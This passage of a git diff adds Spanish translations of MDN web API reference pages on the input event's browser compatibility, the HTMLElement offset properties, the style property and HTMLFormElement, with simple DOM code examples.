+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>data</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>isComposing</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("31")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>on <code>&lt;select&gt;</code> element</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("49")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>on <code>&lt;input&gt;</code> element of type <code>checkbox</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("49")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>on <code>&lt;input&gt;</code> element of type <code>radio</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("49")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>immediately after <code>compositionupdate</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("12")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>on <code>contenteditable</code> element</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("14")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>when <code>designMode</code> is <code>"on"</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("14")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>data</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>isComposing</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("31")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>on <code>&lt;select&gt;</code> element</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>on <code>&lt;input&gt;</code> element of type <code>checkbox</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>on <code>&lt;input&gt;</code> element of type <code>radio</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prior to Gecko 12.0 {{geckoRelease("12.0")}}, Gecko didn't fire <code>input</code> events while composition was ongoing using IMEs or when dead keys were used on macOS X.</p>
+
+<p>[2] IE 9 does not fire an <code>input</code> event when the user deletes characters from an input (e.g. by pressing Backspace or Delete, or using the "Cut" operation).</p>
+
+<p>[3] IE 10 and IE 11 have a bug where the <code>input</code> event fires on placeholder attribute changes.</p>
+
+<p>[4] Prior to Opera 15, Opera did not fire an <code>input</code> event after dropping text in an input field.</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/InputEvent">InputEvent</a></li>
+ <li>{{domxref("GlobalEventHandlers.oninput")}}</li>
+ <li>Eventos relacionados
+  <ul>
+   <li>{{event("beforeinput")}}</li>
+   <li>{{event("change")}}</li>
+   <li><code><a href="/en-US/docs/Web/API/Constraint_validation/invalid_event">invalid</a></code></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/es/web/api/htmlelement/offsetheight/index.html b/files/es/web/api/htmlelement/offsetheight/index.html
new file mode 100644
index 0000000000..82f683d7c5
--- /dev/null
+++ b/files/es/web/api/htmlelement/offsetheight/index.html
@@ -0,0 +1,65 @@
+---
+title: HTMLElement.offsetHeight
+slug: Web/API/HTMLElement/offsetHeight
+tags:
+  - API
+  - Propiedad
+  - Referencia
+translation_of: Web/API/HTMLElement/offsetHeight
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>La propiedad de sólo lectura <strong><code>HTMLElement.offsetHeight</code></strong> devuelve el alto de un elemento, incluyendo el <em>padding</em> vertical y los bordes, en píxeles, como un número entero.</p>
+
+<p>Generalmente, <code>offsetHeight</code> es una medida en píxeles que representa la altura CSS del elemento, incluyendo cualquier borde, padding, y barras de desplazamiento horizontales (si existieran). No incluye el alto de pseudo-elementos como <code>::before</code> y <code>::after</code>. Para el objeto body del documento, la medida incluye la altura total del contenido lineal en lugar de la altura CSS del elemento. Los elementos flotantes que se extienden por debajo de otros contenidos lineales son ignorados</p>
+
+<p>Si un elemento está oculto (por ejemplo, al establecer <code>style.display</code> a <code>"none"</code> en el elemento o uno de sus ancestros), se devuelve <code>0</code>.</p>
+
+<div class="note">
+<p>Esta propiedad redondea el valor a un entero. Si necesitas un  valor decimal, usa {{ domxref("element.getBoundingClientRect()") }}.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>intElemOffsetHeight</em> = <em>element</em>.offsetHeight;</pre>
+
+<p><code><em>intElemOffsetHeight</em></code> es una variable que almacena el entero correspondiente al valor de <code>offsetHeight</code> en píxeles de un elemento. La propiedad <code>offsetHeight</code> es de sólo lectura.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p><img alt="Image:Dimensions-offset.png" class="internal" src="/@api/deki/files/186/=Dimensions-offset.png"></p>
+
+<p>El ejemplo de la imagen de superior muestra una barra de desplazamiento y un <code>offsetHeight</code> que cabe en la ventana. Sin embargo, los elementos no desplazables podrían tener un <code>offsetHeight</code> mucho más grande que el área visible. Esos elementos están típicamente contenidos en elementos desplazables (scroll); con lo cual esos elementos no desplazables podrían ser parcial o completamente invisibles, dependiendo de la configuración de <code>scrollTop</code> del elemento contenedor.</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-htmlelement-offsetHeight', 'offsetLeft')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Notas">Notas</h3>
+
+<p><code>offsetHeight</code> es una pripiedad del modelo del objeto <abbr title="Dynamic HyperText Markup Language">DHTML</abbr> que fue inicialmente introducido por MSIE. A veces se le conoce como las dimensiones físicas/gráficas de un elemento, o la altura <code>border-box</code> del elemento.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Element.clientHeight")}}</li>
+ <li>{{domxref("Element.scrollHeight")}}</li>
+ <li>{{domxref("HTMLElement.offsetWidth")}}</li>
+ <li><a href="/en-US/docs/Web/API/CSS_Object_Model/Determining_the_dimensions_of_elements" title="en/Determining_the_dimensions_of_elements">Determinando las dimensiones de los elementos</a></li>
+ <li><a href="https://docs.microsoft.com/en-us/previous-versions//hh781509(v=vs.85)">MSDN Midiendo las dimensiones y ubicación de los elementos</a></li>
+</ul>
diff --git a/files/es/web/api/htmlelement/offsetleft/index.html b/files/es/web/api/htmlelement/offsetleft/index.html
new file mode 100644
index 0000000000..0067faf65f
--- /dev/null
+++ b/files/es/web/api/htmlelement/offsetleft/index.html
@@ -0,0 +1,141 @@
+---
+title: HTMLElement.offsetLeft
+slug: Web/API/HTMLElement/offsetLeft
+translation_of: Web/API/HTMLElement/offsetLeft
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>La propiedad de solo lectura <strong><code>HTMLElement.offsetLeft</code></strong> devuelve el número de <em>píxeles a la izquierda </em>del elemento actual con respecto al nodo {{domxref("HTMLElement.offsetParent")}} .</p>
+
+<p>Para los elementos de bloque, <code>offsetTop</code>, <code>offsetLeft</code>, <code>offsetWidth</code>, y <code>offsetHeight</code> determina el borde de la caja del elemento relativo al <code>offsetParent.</code></p>
+
+<p>Sin embargo, para los elementos inline (por ejemplo <strong>span</strong>), que puede ser cortado de un línea a otra, <code>offsetTop,</code> and <code>offsetLeft </code>describe la posición de la primer borde de la caja (usar {{domxref("Element.getClientRects()")}} para obtener el ancho y el alto), mientras que <code>offsetWidth </code>y <code>offsetHeight </code>describen las dimensiones de los límites (usar {{domxref("Element.getBoundingClientRect()")}} para obtener su posición). Por lo tanto, una caja con left, top, width y height del <code>offsetLeft</code>, <code>offsetTop</code>, <code>offsetWidth</code>, <code>offsetHeight</code>, no definirá los límites para un span con texto que continúa en otra línea.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="eval"><em>left</em> = <em>element</em>.offsetLeft;
+</pre>
+
+<p><code>left</code> es un entero que representa la posición de la izquierda del elemento actual con respecto al padre.</p>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre>var colorTable = document.getElementById("t1");
+var tOLeft = colorTable.offsetLeft;
+
+if (tOLeft &gt; 5) {
+  // posición izquierda muy larga: hacer algo
+}
+</pre>
+
+<p>This example shows a 'long' sentence that wraps within a div with a blue border, and a red box that one might think should describe the boundaries of the span.</p>
+
+<p><img alt="Image:offsetLeft.jpg" class="internal" src="/@api/deki/files/790/=OffsetLeft.jpg"></p>
+
+<pre>&lt;div style="width: 300px; border-color:blue;
+  border-style:solid; border-width:1;"&gt;
+  &lt;span&gt;Short span. &lt;/span&gt;
+  &lt;span id="long"&gt;Long span that wraps within this div.&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div id="box" style="position: absolute; border-color: red;
+  border-width: 1; border-style: solid; z-index: 10"&gt;
+&lt;/div&gt;
+
+&lt;script&gt;
+  var box = document.getElementById("box");
+  var long = document.getElementById("long");
+  box.style.left = long.offsetLeft + document.body.scrollLeft + "px";
+  box.style.top = long.offsetTop + document.body.scrollTop + "px";
+  box.style.width = long.offsetWidth + "px";
+  box.style.height = long.offsetHeight<span style="line-height: normal;"> + "px"</span><span style="line-height: normal;">;
+</span><span style="line-height: normal;">&lt;/script&gt; </span></pre>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-htmlelement-offsetleft', 'offsetLeft')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibility" name="Compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>In compliance with the specification, this property will return <code>null</code> on Webkit if the element is hidden (the <code>style.display</code> of this element or any ancestor is <code>"none"</code>) or if the <code>style.position</code> of the element itself is set to <code>"fixed"</code>.</p>
+
+<p>This property will return <code>null</code> on Internet Explorer (9) if the <code>style.position</code> of the element itself is set to <code>"fixed"</code>. (Having <code>display:none</code> does not affect this browser.)</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.offsetParent")}}, {{domxref("HTMLElement.offsetTop")}}, {{domxref("HTMLElement.offsetWidth")}}, {{domxref("HTMLElement.offsetHeight")}}</li>
+</ul>
diff --git a/files/es/web/api/htmlelement/offsetparent/index.html b/files/es/web/api/htmlelement/offsetparent/index.html
new file mode 100644
index 0000000000..4fb14be33d
--- /dev/null
+++ b/files/es/web/api/htmlelement/offsetparent/index.html
@@ -0,0 +1,52 @@
+---
+title: HTMLElement.offsetParent
+slug: Web/API/HTMLElement/offsetParent
+tags:
+  - API
+  - CSSOM View
+  - Propiedad
+  - Reference
+  - Referencia
+translation_of: Web/API/HTMLElement/offsetParent
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p>La propiedad de solo lectura <strong><code>HTMLElement.offsetParent</code></strong> retorna una referencia al objeto, el cual es el elemento contenedor posicionado más cercano (más cercano en la jerarquía contenedora). Si el elemento es no-posicionado, <code>td</code>, <code>th</code>, <code>table</code> o el <code>body</code> más cercano es retornado.</p>
+
+<p><code>offsetParent</code> retorna <code>null</code> cuando el elemento <code>style.display</code> tiene asignado <code>none</code>. <code>offsetParent</code> es útil porque {{domxref("HTMLElement.offsetTop","offsetTop")}} y {{domxref("HTMLElement.offsetLeft","offsetLeft")}} son relativos a su borde de relleno.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>parentObj</var> = element.offsetParent;
+</pre>
+
+<ul>
+ <li><var>parentObj</var> es una referencia de objeto al elemento en el cual el elemento actual es offset.</li>
+</ul>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-htmlelement-offsetparent', 'offsetParent')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibility" name="Compatibility">Compatibilidad de Browser</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página es generada desde datos estructurados. Si gusta contribuir a los datos, por favor revise <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un pull request.</div>
+
+<p>{{Compat("api.HTMLElement.offsetParent")}}</p>
diff --git a/files/es/web/api/htmlelement/offsettop/index.html b/files/es/web/api/htmlelement/offsettop/index.html
new file mode 100644
index 0000000000..0b5f19708a
--- /dev/null
+++ b/files/es/web/api/htmlelement/offsettop/index.html
@@ -0,0 +1,61 @@
+---
+title: HTMLElement.offsetTop
+slug: Web/API/HTMLElement/offsetTop
+translation_of: Web/API/HTMLElement/offsetTop
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p>La propiedad de sólo lectura <strong><code>HTMLElement.offsetTop</code></strong> retorna la distancia del elemento actual respecto al borde superior del nodo {{domxref("HTMLelement.offsetParent","offsetParent")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>topPos</var> = element.offsetTop;
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<ul>
+ <li><code>topPos</code> es el número de pixels desde el borde superior del elemento padre <em>más cercano posicionado de forma relativa</em>.</li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush:js">var d = document.getElementById("div1");
+var topPos = d.offsetTop;
+
+if (topPos &gt; 10) {
+  // objeto está posicionado a más de
+  // de 10 pixels de distancia de su padre
+}</pre>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-htmlelement-offsettop', 'offsetTop')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+
+<p>{{Compat("api.HTMLElement.offsetTop")}}</p>
+
+<p>In compliance with the specification, this property will return <code>null</code> on Webkit if the element is hidden (the <code>style.display</code> of this element or any ancestor is <code>"none"</code>) or if the <code>style.position</code> of the element itself is set to <code>"fixed"</code>.</p>
+
+<p>This property will return <code>null</code> on Internet Explorer (9) if the <code>style.position</code> of the element itself is set to <code>"fixed"</code>. (Having <code>display:none</code> does not affect this browser.)</p>
diff --git a/files/es/web/api/htmlelement/offsetwidth/index.html b/files/es/web/api/htmlelement/offsetwidth/index.html
new file mode 100644
index 0000000000..13a9a7e454
--- /dev/null
+++ b/files/es/web/api/htmlelement/offsetwidth/index.html
@@ -0,0 +1,62 @@
+---
+title: HTMLElement.offsetWidth
+slug: Web/API/HTMLElement/offsetWidth
+translation_of: Web/API/HTMLElement/offsetWidth
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>La propiedad de solo lectura <code><strong>HTMLElement.offsetWidth</strong></code>  devuelve el ancho del layout del elemento. Esta medida incluye los bordes del elemento asignados al mismo en los estilos CSS.</p>
+
+<h2 id="Sintáxis">Sintáxis</h2>
+
+<pre class="syntaxbox">var<em> offsetWidth</em> =<em>element</em>.offsetWidth;
+</pre>
+
+<p><strong><code>offsetWidth</code> </strong>es una propiedad de solo lectura.</p>
+
+<div class="note">
+<p>Esta propiedad redondeará el valor a un entero. Si necesitas un valor fraccional usa: {{ domxref("element.getBoundingClientRect()") }}.</p>
+</div>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p> </p>
+
+<p>              <img alt="Image:Dimensions-offset.png" class="internal" src="/@api/deki/files/186/=Dimensions-offset.png"></p>
+
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-htmlelement-offsetwidth', 'offsetWidth')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Notas">Notas</h3>
+
+<p><code>offsetWidth</code> es una propiedad del  <abbr title="Dynamic HyperText Markup Language">DHTML</abbr> "object model" que fue inicialmente introducido por MSIE. A veces es referido como box-width.</p>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<p>{{Compat("api.HTMLElement.offsetWidth")}}</p>
+
+<h2 id="Links_Relacionados">Links Relacionados</h2>
+
+<ul>
+ <li>{{domxref("Element.clientWidth")}}</li>
+ <li>{{domxref("Element.scrollWidth")}}</li>
+ <li><a href="/en-US/docs/Determining_the_dimensions_of_elements">Determining the dimensions of elements</a></li>
+ <li><a href="https://docs.microsoft.com/en-us/previous-versions//hh781509(v=vs.85)">MSDN Measuring Element Dimension and Locati</a></li>
+</ul>
diff --git a/files/es/web/api/htmlelement/style/index.html b/files/es/web/api/htmlelement/style/index.html
new file mode 100644
index 0000000000..62c8903b72
--- /dev/null
+++ b/files/es/web/api/htmlelement/style/index.html
@@ -0,0 +1,52 @@
+---
+title: Element.style
+slug: Web/API/HTMLElement/style
+translation_of: Web/API/ElementCSSInlineStyle/style
+---
+<p>{{ ApiRef("HTML DOM") }}</p>
+
+<h3 id="Summary" name="Summary">Resumen</h3>
+
+<p>Devuelve un objeto que representa el atributo <code>style </code>del elemento.</p>
+
+<h3 id="Example" name="Example">Ejemplo</h3>
+
+<pre class="eval">var div = document.getElementById("div1");
+div.style.marginTop = ".25in";
+</pre>
+
+<h3 id="Notes" name="Notes">Notas</h3>
+
+<p>Ya que la propiedad <code>style </code>tiene la misma (y más alta) prioridad en la cascada CSS que las declaraciones <em>in-line</em> hechas mediante el atributo style, resulta muy útil para establecer el estilo en un elemento específico. </p>
+
+<p>Sin embargo, no resulta útil para aprender acerca del estilo original de un elemento, ya que representa sólo la declaración CSS en el atributo style <em>in-line</em> y no aquellos atributos que vienen de alguna otra parte, como las declaraciones en la sección &lt;head&gt; o en hojas de estilo.</p>
+
+<p>Para recoger los valores de todas las propiedades CSS de un elemento, deberías usar <a href="/Es/DOM/Window.getComputedStyle" title="en/DOM/window.getComputedStyle">window.getComputedStyle</a> en su lugar.</p>
+
+<p>Mira la lista de Propiedades CSS del DOM (<a href="/es/DOM/CSS" title="en/DOM/CSS">DOM CSS Properties List</a>) para tener una lista completa de las propiedades CSS que están disponibles en el Gecko DOM.</p>
+
+<p>Generalmente es mejor usarla propiedad <code>style </code>que usar <code>elt.setAttribute('style', '...')</code>, ya que el uso de la propiedad <code>style </code>no reemplazará otras propiedades CSS que puedan especificarse en el atributo <code>style</code>.</p>
+
+<p>Los estilos <em>no</em> pueden establecerse asignando una cadena a la propiedad (solo lectura) style, como en <code>elt.style = "color: blue;"</code>. Esto es porque el atributo <code>style </code>devuelve un objeto del tipo <code>CSSStyleDeclaration</code>. En su lugar, pueds establecer las propiedades como:</p>
+
+<pre class="eval">elt.style.color = "blue";  // Asignación directa
+
+var st = elt.style;
+st.color = "blue";  // Asignación Indirecta
+</pre>
+
+<p>El siguiente código presenta los nombres de todas las propiedades style, los valores se establecen de forma explícita para los elementos<code> elt </code>y sus valores heredados: </p>
+
+<pre class="eval">var elt = document.getElementById("elementIdHere");
+var out = "";
+var st = elt.style;
+var cs = window.getComputedStyle(elt, null);
+for (x in st)
+  out += "  " + x + " = '" + st[x] + "' &gt; '" + cs[x] + "'\n";
+</pre>
+
+<p> </p>
+
+<h3 id="Specification" name="Specification">Especificación</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-ElementCSSInlineStyle">DOM Level 2 Style: ElementCSSInlineStyle.style</a></p>
diff --git a/files/es/web/api/htmlformelement/index.html b/files/es/web/api/htmlformelement/index.html
new file mode 100644
index 0000000000..4409f7e160
--- /dev/null
+++ b/files/es/web/api/htmlformelement/index.html
@@ -0,0 +1,109 @@
+---
+title: form
+slug: Web/API/HTMLFormElement
+tags:
+  - DOM
+  - Referencia_DOM_de_Gecko
+  - Todas_las_Categorías
+translation_of: Web/API/HTMLFormElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+<h3 id="Interfaz_del_elemento_formulario_de_HTML" name="Interfaz_del_elemento_formulario_de_HTML">Interfaz del elemento formulario de HTML</h3>
+
+<p>Los elementos <code>FORM</code> comparten todas las propiedades y métodos de los otros elementos HTML descritos en el capítulo del <a href="es/DOM/element">elemento</a>. También tienen la interfaz especial <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-40002357">HTMLFormElement</a>.</p>
+
+<p>Esta interfaz proporciona métodos para crear y modificar los elementos <code>FORM</code> usando el DOM. El siguiente ejemplo muestra como crear un nuevo formulario, como modificar sus atributos y enviarlo:</p>
+
+<pre>// Crea un formulario
+var f = document.createElement("form");
+
+// Lo añade en el cuerpo ('body') del documento
+document.body.appendChild(f);
+
+// Añade los atributos de acción y método
+f.action = "/cgi-bin/some.cgi";
+f.method = "POST"
+
+// Llama el método de enviar el formulario
+f.submit();
+</pre>
+
+<p>Además, el siguiente documento HTML muestra como se puede extraer información de un formulario y cambiar algunos de sus atributos.</p>
+
+<pre>&lt;title&gt;Ejemplo de formulario&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+  function getFormInfo() {
+    var info;
+
+    // Obtiene una referencia utilizando la colección de formularios
+    var f = document.forms["formularioA"];
+    info = "f.elements: " + f.elements + "\n"
+         + "f.length: " + f.length + "\n"
+         + "f.name: " + f.elements + "\n"
+         + "f.acceptCharset: " + f.acceptCharset + "\n"
+         + "f.action: " + f.action + "\n"
+         + "f.enctype: " + f.enctype + "\n"
+         + "f.encoding: " + f.encoding + "\n"
+         + "f.method: " + f.method + "\n"
+         + "f.target: " + f.target;
+    document.forms["formularioA"].elements['tex'].value = info;
+  }
+
+  // Se pasa la referencia al formulario desde el
+  // atributo al hacer clic ('onclick') del botón con la ayuda de este.formulario ('this.form')
+  function setFormInfo(f) {
+    f.method = "GET";
+    f.action = "/cgi-bin/evil_executable.cgi";
+    f.name   = "totally_new";
+  }
+&lt;/script&gt;
+
+&lt;h1&gt;Ejemplo de formulario&lt;/h1&gt;
+
+&lt;form name="formularioA" id="formularioA"
+ action="/cgi-bin/test" method="POST"&gt;
+ &lt;p&gt;Haga clic en "Info" para ver informaciones de este formulario.
+    Haga clic en "Set" para cambiar los parámetros y otra vez en "Info" para ver los efectos&lt;/p&gt;
+ &lt;p&gt;
+  &lt;input type="button" value="Info"
+   onclick="getFormInfo();"&gt;
+  &lt;input type="button" value="Set"
+   onclick="setFormInfo(this.form);"&gt;
+  &lt;input type="reset" value="Reset"&gt;
+  &lt;br&gt;
+  &lt;textarea id="tex" style="height:15em; width:20em"&gt;
+ &lt;/p&gt;
+&lt;/form&gt;
+</pre>
+
+<h3 id="Propiedades" name="Propiedades">Propiedades</h3>
+
+<dl>
+ <dt><a href="es/DOM/form.elements">form.elements</a> (todos los elementos del formulario) </dt>
+ <dd><code>.elements</code> devuelve una colección de todos los controles que hay en el formulario <code>FORM</code>.</dd>
+ <dt><a href="es/DOM/form.length">form.length</a></dt>
+ <dd><code>.length</code> devuelve la cantidad de controles que hay en el formulario</dd>
+ <dt><a href="es/DOM/form.name">form.name</a></dt>
+ <dd><code>.name</code> devuelve el nombre del formulario actual en forma de cadena.</dd>
+ <dt><a href="es/DOM/form.acceptCharset">form.acceptCharset</a></dt>
+ <dd><code>.acceptCharset</code> devuelve una lista del conjunto de caracteres soportados para el actual elemento <code>FORM</code>.</dd>
+ <dt><a href="es/DOM/form.action">form.action</a></dt>
+ <dd><code>.action</code> obtiene/configura la acción del elemento <code>FORM</code>.</dd>
+ <dt><a href="es/DOM/form.enctype">form.enctype</a></dt>
+ <dd><code>.enctype</code> gets/sets the content type of the <code>FORM</code> element.</dd>
+ <dt><a href="es/DOM/form.encoding">form.encoding</a></dt>
